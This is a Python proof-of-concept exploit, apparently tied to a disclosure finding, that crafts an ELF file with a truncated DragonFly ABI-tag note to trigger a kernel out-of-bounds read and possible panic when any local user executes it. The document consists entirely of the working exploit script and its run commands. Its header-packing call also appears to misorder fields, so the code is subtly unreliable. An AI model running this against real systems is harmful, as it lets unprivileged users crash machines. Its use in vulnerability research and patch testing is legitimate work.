DF-0020 / elf_note_oob.py
#!/usr/bin/env python3 # DF-0020 PoC - ELF ABI-note descriptor out-of-bounds read. # # note_overflow() (sys/kern/imgact_elf.c:1700-1707) validates that a note's # n_namesz fits in the remaining PT_NOTE segment, but never validates n_descsz. # When a crafted, truncated .note.ABI-tag matches the DragonFly brandnote # (n_namesz=10 "DragonFly\0", n_descsz=4, n_type=1, vendor "DragonFly"), # bsd_trans_osrel() reads the 4-byte descriptor at # note + sizeof(Elf_Note) + roundup2(n_namesz, 4) == note + 24 # A segment of p_filesz=22 passes note_overflow (12<=22 and 10<=10) yet the # desc read lands at note+24, 2..6 bytes past note_end -> kernel OOB read of # adjacent memory (or a page fault -> panic if it straddles an unmapped page). # # Trigger: any local user execve(2)s a crafted ELF; the image activator runs # for every local exec of an attacker-owned file, no privilege required. # # Build the crafted ELF: python3 elf_note_oob.py -o /tmp/oob_elf # Try to exec it (it need not be a loadable binary; the header check + note # walk happen before vmspace setup): # chmod +x /tmp/oob_elf && /tmp/oob_elf # # Expected (bug present): on a vulnerable kernel, executing the crafted ELF # either does nothing visible (OOB bytes land in mapped adjacent memory and # the value goes to p_osrel, not exposed) or, when the OOB read straddles an # unmapped page boundary, triggers a kernel page fault -> panic (local DoS). import argparse, struct, sys # ELF64 constants ELFMAG = b"\x7fELF" ELFCLASS64, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV = 2, 1, 1, 0 ET_EXEC, EM_X86_64 = 2, 62 PT_NOTE = 4 # DragonFly brandnote that triggers bsd_trans_osrel (BN_TRANSLATE_OSREL). # n_namesz = 10 ("DragonFly\0"), n_descsz = 4, n_type = 1, vendor "DragonFly" NAMESZ = 10 DESCSZ = 4 NTYPE = 1 VENDOR = b"DragonFly\0" # 10 bytes incl NUL assert len(VENDOR) == NAMESZ def round_up(n, a=4): return (n + a - 1) & ~(a - 1) def build_ehdr(e_phoff, e_phnum): e_ident = ELFMAG + bytes([ELFCLASS64, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV]) + b"\x00" * 8 return struct.pack("<16sHHIQQQIHHHHHH", e_ident, ET_EXEC, EM_X86_64, EV_CURRENT, 0, e_phoff, 0, 0, sizeof_ehdr(), e_phoff, e_phentsize(), e_phnum, 0, 0) def sizeof_ehdr(): return 64 def e_phentsize(): return 56 def build_phdr(p_type, p_offset, p_filesz): # ELF64 Phdr: type, flags, offset, vaddr, paddr, filesz, memsz, align return struct.pack("<IIQQQQQQ", p_type, 0, p_offset, 0, 0, p_filesz, 0, 4) def main(): ap = argparse.ArgumentParser() ap.add_argument("-o", "--out", required=True) args = ap.parse_args() ehdr_sz = sizeof_ehdr() phoff = ehdr_sz # one Phdr right after Ehdr # Place the note near the end of the first page so the OOB desc read # (note + 24) escapes the 4096-byte image_header buffer. note_offset = 4096 - 22 # => 4074; note_end = 4096, read at 4098 # Build the TRUNCATED note: header (12) + name (10) == 22 bytes, no desc. note_hdr = struct.pack("<III", NAMESZ, DESCSZ, NTYPE) # 12 bytes note = note_hdr + VENDOR # 22 bytes; descriptor omitted elf = bytearray(4096) # first page elf[0:ehdr_sz] = build_ehdr(phoff, 1) elf[phoff:phoff + e_phentsize()] = build_phdr(PT_NOTE, note_offset, len(note)) elf[note_offset:note_offset + len(note)] = note with open(args.out, "wb") as f: f.write(bytes(elf[:4096])) print(f"[+] wrote crafted ELF to {args.out}") print(f"[+] PT_NOTE at offset {note_offset}, p_filesz={len(note)} " f"(descriptor claimed {DESCSZ}B but truncated)") print(f"[+] bsd_trans_osrel reads at note+24={note_offset+24} " f"(> note_end={note_offset+len(note)}) -> OOB") if __name__ == "__main__": main() |